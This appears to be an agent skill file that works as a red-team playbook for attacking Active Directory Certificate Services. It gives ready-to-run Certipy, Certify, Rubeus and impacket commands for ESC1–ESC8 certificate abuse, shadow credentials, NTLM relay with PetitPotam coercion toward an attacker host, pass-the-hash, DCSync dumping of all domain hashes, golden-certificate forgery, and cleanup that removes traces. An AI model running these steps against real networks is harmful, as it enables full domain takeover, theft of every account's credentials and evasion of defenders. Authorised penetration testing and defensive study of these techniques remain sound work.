---
name: rt-exploit-adcs
description: "Active Directory Certificate Services (ADCS) exploitation skill. ESC1 through ESC8 template abuse, misconfigured enrollment rights, SAN abuse for domain admin impersonation, relay attacks via certificate enrollment (ESC8), NTLM relay to ADCS HTTP endpoint, Certipy and Certify tooling, shadow credentials via msDS-KeyCredentialLink. Use when ADCS is deployed in the domain (default in 90%+ of enterprise environments)."
---

# rt-exploit-adcs — Active Directory Certificate Services Exploitation

## Overview

ADCS (Active Directory Certificate Services) is Microsoft's PKI implementation and is deployed by default in most enterprise environments. The "Certified Pre-Owned" research (SpecterOps, 2021) identified 8 escalation paths (ESC1–ESC8) that allow low-privileged domain users to escalate to Domain Admin by abusing misconfigured certificate templates, CA permissions, or enrollment endpoints.

**Why ADCS matters:**
- Deployed in ~90% of enterprise AD environments
- Misconfigurations are common and rarely audited
- Certificates survive password resets — persistence that outlasts credential rotations
- ESC1 + ESC8 are the most commonly exploited in 2024 red team engagements

---

## Prerequisites

- Domain user credentials (low-privilege is enough for ESC1–ESC4)
- Network access to AD environment
- Tools: `Certipy`, `Certify.exe`, `impacket`, `Rubeus`

```bash
# Install Certipy
pip3 install certipy-ad

# Or from source
git clone https://github.com/ly4k/Certipy && cd Certipy && pip3 install .
```

---

## Step 1 — Enumerate ADCS (Find the CA)

```bash
# Certipy — find all CAs and vulnerable templates
certipy find -u 'user@corp.local' -p 'Password1' -dc-ip 10.10.10.1

# Output: corp.local.zip (open with certipy-gui or inspect manually)
# Key file: corp.local_Certipy.txt

# Find only vulnerable templates
certipy find -u 'user@corp.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable -stdout

# Certify.exe (Windows, in-memory preferred)
.\Certify.exe find /vulnerable
.\Certify.exe find /vulnerable /currentuser
```

**What to look for:**
```
Certificate Authorities
  CA Name        : CORP-CA
  DNS Name       : ca.corp.local
  Enrollment Endpoint: http://ca.corp.local/certsrv/  ← ESC8 target

Certificate Templates
  Template Name  : VulnerableTemplate
  Enrollee Supplies Subject: True  ← ESC1
  Client Auth    : True            ← can be used for auth
  Enabled        : True
  Low-Priv Enroll: True            ← any domain user can enroll
```

---

## ESC1 — Enrollee Supplies Subject (SAN Abuse)

**Condition:** Template allows `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` + Client Authentication EKU + low-priv enrollment

**Impact:** Request a certificate AS any user including Domain Admin

```bash
# Certipy — request cert as Domain Admin
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'VulnerableTemplate' \
  -upn 'administrator@corp.local' \
  -dc-ip 10.10.10.1

# Output: administrator.pfx

# Authenticate with the certificate → get NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# Output:
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

# Use hash for PTH
impacket-wmiexec -hashes :fc525c9683e8fe067095ba2ddc971889 administrator@10.10.10.1
```

**Windows (Certify + Rubeus):**
```powershell
# Request certificate
.\Certify.exe request /ca:ca.corp.local\CORP-CA /template:VulnerableTemplate /altname:administrator

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Auth with Rubeus
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:'' /ptt
.\Rubeus.exe klist
```

---

## ESC2 — Any Purpose EKU

**Condition:** Template has `Any Purpose` EKU or no EKU (SubCA)

**Impact:** Can be used for client auth regardless of intended purpose

```bash
# Same as ESC1 — certipy req with the template
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'AnyPurposeTemplate' \
  -dc-ip 10.10.10.1

# Use the cert to enroll in ESC3 template (chain attack)
```

---

## ESC3 — Enrollment Agent Templates

**Condition:** Template 1 has Certificate Request Agent EKU; Template 2 allows enrollment agents to enroll on behalf

**Impact:** Enroll as any user via two-step chain

```bash
# Step 1 — get enrollment agent certificate
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'EnrollmentAgentTemplate' \
  -dc-ip 10.10.10.1
# Output: lowpriv.pfx (enrollment agent cert)

# Step 2 — use agent cert to request on behalf of admin
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'User' \
  -on-behalf-of 'corp\administrator' \
  -pfx lowpriv.pfx \
  -dc-ip 10.10.10.1
# Output: administrator.pfx

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
```

---

## ESC4 — Vulnerable Template ACL (Write Permissions)

**Condition:** Low-priv user has `WriteProperty` / `WriteDacl` / `WriteOwner` on a template

**Impact:** Modify the template to introduce ESC1 conditions, then exploit

```bash
# Check who has write access to templates
certipy find -u 'lowpriv@corp.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable

# Certipy — update template to enable ESC1
certipy template -u 'lowpriv@corp.local' -p 'Password1' \
  -template 'TargetTemplate' \
  -save-old \
  -dc-ip 10.10.10.1

# Now exploit as ESC1
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'TargetTemplate' \
  -upn 'administrator@corp.local' \
  -dc-ip 10.10.10.1

# Restore original template (cleanup)
certipy template -u 'lowpriv@corp.local' -p 'Password1' \
  -template 'TargetTemplate' \
  -configuration TargetTemplate.json \
  -dc-ip 10.10.10.1
```

---

## ESC5 — Vulnerable PKI Object ACL

**Condition:** Low-priv user has control over CA object, RPC/DCOM access, or AD CS container

**Impact:** Full CA compromise

```bash
# Enumerate CA object ACLs
certipy find -u 'lowpriv@corp.local' -p 'Password1' -dc-ip 10.10.10.1

# If WriteOwner on CA — take ownership, add manager rights
# Use RSAT-AD tools or PowerView to exploit ACL
Import-Module ActiveDirectory
Set-ADObject -Identity "CN=CORP-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Add @{msPKI-Certificate-Name-Flag=1}
```

---

## ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag

**Condition:** CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set on ANY template

**Impact:** Supply SAN in any certificate request (even templates without CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)

```bash
# Check CA flags
certipy find -u 'lowpriv@corp.local' -p 'Password1' -dc-ip 10.10.10.1 -stdout | grep -i "ATTRIBUTESUBJECTALTNAME2"

# If flag present — exploit like ESC1 on any Client Auth template
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'User' \
  -upn 'administrator@corp.local' \
  -dc-ip 10.10.10.1

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
```

---

## ESC7 — Vulnerable CA Permissions

**Condition:** User has `ManageCA` or `ManageCertificates` rights on the CA

**Impact:** Approve pending requests, enable EDITF flag, issue certificates

```bash
# If ManageCA — enable SubCA template, then ESC1
certipy ca -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -enable-template 'SubCA' \
  -dc-ip 10.10.10.1

certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'SubCA' \
  -upn 'administrator@corp.local' \
  -dc-ip 10.10.10.1
# Will fail — pending approval

# Approve your own request (ManageCA right)
certipy ca -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -issue-request 42 \
  -dc-ip 10.10.10.1

# Retrieve issued cert
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -retrieve 42 \
  -dc-ip 10.10.10.1

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
```

---

## ESC8 — NTLM Relay to ADCS HTTP Enrollment Endpoint

**Condition:** Web Enrollment (`/certsrv/`) endpoint enabled; NTLM auth allowed; no EPA/signing

**Impact:** Relay any domain machine account's NTLM auth to CA → get DC machine cert → DCSync

```bash
# Step 1 — check if web enrollment is active
curl -I http://ca.corp.local/certsrv/
# HTTP 401 with NTLM = vulnerable

# Step 2 — set up NTLM relay targeting /certsrv/
impacket-ntlmrelayx \
  -t http://ca.corp.local/certsrv/certfnsh.asp \
  --adcs \
  --template 'DomainController' \
  -smb2support

# Step 3 — coerce DC authentication (PetitPotam or PrinterBug)
# PetitPotam (unauthenticated in older Windows)
python3 PetitPotam.py -d corp.local -u '' -p '' ATTACKER_IP DC_IP

# PrinterBug (requires domain creds)
python3 printerbug.py corp.local/lowpriv:Password1@DC_IP ATTACKER_IP

# Step 4 — relay captures DC$ machine cert
# ntlmrelayx output: DC$@corp.local.pfx

# Step 5 — use DC machine cert to get TGT → DCSync
certipy auth -pfx 'DC$@corp.local.pfx' -dc-ip 10.10.10.1
# Gets NT hash of DC machine account

# Step 6 — DCSync with machine account hash
impacket-secretsdump -hashes :MACHINE_HASH 'corp.local/DC$@10.10.10.1'
# Full domain dump: krbtgt, all user hashes
```

---

## Shadow Credentials via msDS-KeyCredentialLink (ADCS Alternative)

**Condition:** Write access to target object's `msDS-KeyCredentialLink` attribute

**Impact:** Authenticate as target without knowing their password

```bash
# Certipy shadow — add shadow credential to target account
certipy shadow auto -u 'lowpriv@corp.local' -p 'Password1' \
  -account 'targetuser' \
  -dc-ip 10.10.10.1

# Output: targetuser.pfx + NT hash of targetuser

# If targeting DC machine account (requires WriteDacl on DC object)
certipy shadow auto -u 'lowpriv@corp.local' -p 'Password1' \
  -account 'DC$' \
  -dc-ip 10.10.10.1

certipy auth -pfx 'DC$.pfx' -dc-ip 10.10.10.1
impacket-secretsdump -hashes :DC_HASH 'corp.local/DC$@10.10.10.1'
```

---

## Golden Certificate (Forge Any Certificate After CA Compromise)

```bash
# After owning CA server — extract CA private key
certipy ca -backup -u 'administrator@corp.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -dc-ip 10.10.10.1
# Output: CORP-CA.pfx (CA cert + private key)

# Forge certificate as any user — offline, no CA needed
certipy forge -ca-pfx CORP-CA.pfx \
  -upn 'administrator@corp.local' \
  -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.10.1
```

---

## Skill Levels

**BEGINNER:**
- Run `certipy find -vulnerable` → identify ESC1 templates
- Follow ESC1 path: req → auth → PTH

**INTERMEDIATE:**
- ESC4 template modification
- ESC8 relay chain (PetitPotam + ntlmrelayx + certipy auth)
- Shadow Credentials via BloodHound-identified WriteDacl paths

**ADVANCED:**
- ESC3 enrollment agent chains
- ESC7 CA permission abuse
- Golden Certificate after CA key extraction

**EXPERT:**
- Chaining ADCS with other misconfigs (RBCD + ADCS, ACL + ADCS)
- Cross-forest ADCS attacks
- ADCS persistence via template backdoors
- Certificate-based C2 (authenticating beacons via certs)

---

## Detection & Cleanup Notes

```
Artifacts created:
- Certificate enrollment events: Event ID 4886 (cert requested), 4887 (issued)
- Location: CA audit logs (if enabled — often NOT enabled by default)
- LDAP query for vulnerable templates: logged in LDAP query logs

Cleanup:
- Revoke issued certificates: certipy ca -revoke -serial <serial>
- Restore modified templates: certipy template -configuration saved.json
- Remove added shadow credentials: certipy shadow remove -account target
```

---

## References

- SpecterOps "Certified Pre-Owned": https://posts.specterops.io/certified-pre-owned-d95910965cd2
- Certipy: https://github.com/ly4k/Certipy
- Certify: https://github.com/GhostPack/Certify
- ADCS ESC Techniques: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates
